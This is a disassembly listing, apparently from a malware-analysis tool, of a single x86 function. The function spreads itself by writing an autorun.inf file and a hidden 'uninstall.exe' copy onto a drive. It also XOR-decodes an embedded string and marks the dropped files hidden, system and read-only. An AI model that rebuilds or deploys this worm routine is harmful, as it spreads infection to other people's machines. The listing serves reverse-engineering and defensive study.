Function at 0x40b40f
Capabilities:
Check if file exists
Create directory
Delete directory
Delete file
Get file attributes
Get file size
Move file
Read file on windows
Set file attributes
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x1448
call fcn.0040b960
and dword [ebp - 4], 0
and dword [ebp - 0x114], 0
or dword [ebp - 0x224], 0xffffffff
mov eax, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov dword [ebp - 0x228], eax
mov dword [ebp - 4], 0x40f0a4
push 0x104
push 0
lea eax, [ebp - 0xb30]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp + 8]
push str._sautorun.inf
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x110]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push dword [ebp - 4]
push dword [ebp + 8]
push str._s_s
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x104
push 0
lea eax, [ebp - 0x220]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push str.uninstall.exe
lea eax, [ebp - 0x110]
push eax
push 0x40c3c4
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
movsx eax, byte [section..data]
cmp eax, 0xffffff92
jne 0x40b4f6
push 0xf9
push 0xa0
push section..data
call fcn.004023d0
push 0x800
push 0
lea eax, [ebp - 0xa28]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
movsx eax, byte [0x40f0a4]
cmp eax, 0xffffffdb
jne 0x40b557
and dword [ebp - 0xb34], 0
jmp 0x40b52e
mov eax, dword [ebp - 0xb34]
inc eax
mov dword [ebp - 0xb34], eax
cmp dword [ebp - 0xb34], 0x2e
jae 0x40b557
mov eax, dword [ebp - 0xb34]
movsx eax, byte [eax + 0x40f0a4]
xor eax, 0xa9
mov ecx, dword [ebp - 0xb34]
mov byte [ecx + 0x40f0a4], al
jmp 0x40b521
push str.Show
push str.uninstall.exe
push 0x40f0a4
push str.Show
push str.uninstall.exe
push 0x40f0a4
push str.uninstall.exe
push 0x40f0a4
push section..data
lea eax, [ebp - 0xa28]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x28
push 0x80
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x80
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
cmp eax, 1
jne 0x40b72f
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
and eax, 0x10
je 0x40b634
call fcn.004024be
push eax
push dword [ebp + 8]
push str._s_x
lea eax, [ebp - 0x1440]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 1
lea eax, [ebp - 0x1440]
push eax
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_MoveFileExA]
test eax, eax
jne 0x40b634
jmp 0x40b841
push 0x800
push 0
lea eax, [ebp - 0x1338]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0
push 0
push 3
push 0
push 1
push connect
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
je 0x40b72f
and dword [ebp - 0x1444], 0
push 0
lea eax, [ebp - 0x1444]
push eax
push 0x7fc
lea eax, [ebp - 0x1338]
push eax
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x1338]
push eax
lea eax, [ebp - 0xa28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
jne 0x40b72f
push 0
push 0
push 3
push 0
push 1
push connect
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
je 0x40b72f
and dword [ebp - 0x1448], 0
push 0
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x1448], eax
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0x1448]
cmp eax, dword [0x4130c4]
jne 0x40b72f
jmp 0x40b841
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
jne 0x40b762
jmp 0x40b86e
push 0
lea eax, [ebp - 0x114]
push eax
lea eax, [ebp - 0xa28]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0xa28]
push eax
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 0
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40b7ca
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40b86e
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
lea eax, [ebp - 0x220]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x224], eax
cmp dword [ebp - 0x224], 0xffffffff
jne 0x40b814
lea eax, [ebp - 0x110]
push eax
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
lea eax, [ebp - 0xb30]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x40b86e
push 0
lea eax, [ebp - 0x114]
push eax
push dword [0x4130c4]
push dword [0x4130c0]
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_WriteFile]
push dword [ebp - 0x224]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 7
lea eax, [ebp - 0x220]
push eax
call dword [ebp - 0x228]
push 7
lea eax, [ebp - 0x110]
push eax
call dword [ebp - 0x228]
push 7
lea eax, [ebp - 0xb30]
push eax
call dword [ebp - 0x228]
leave
ret 4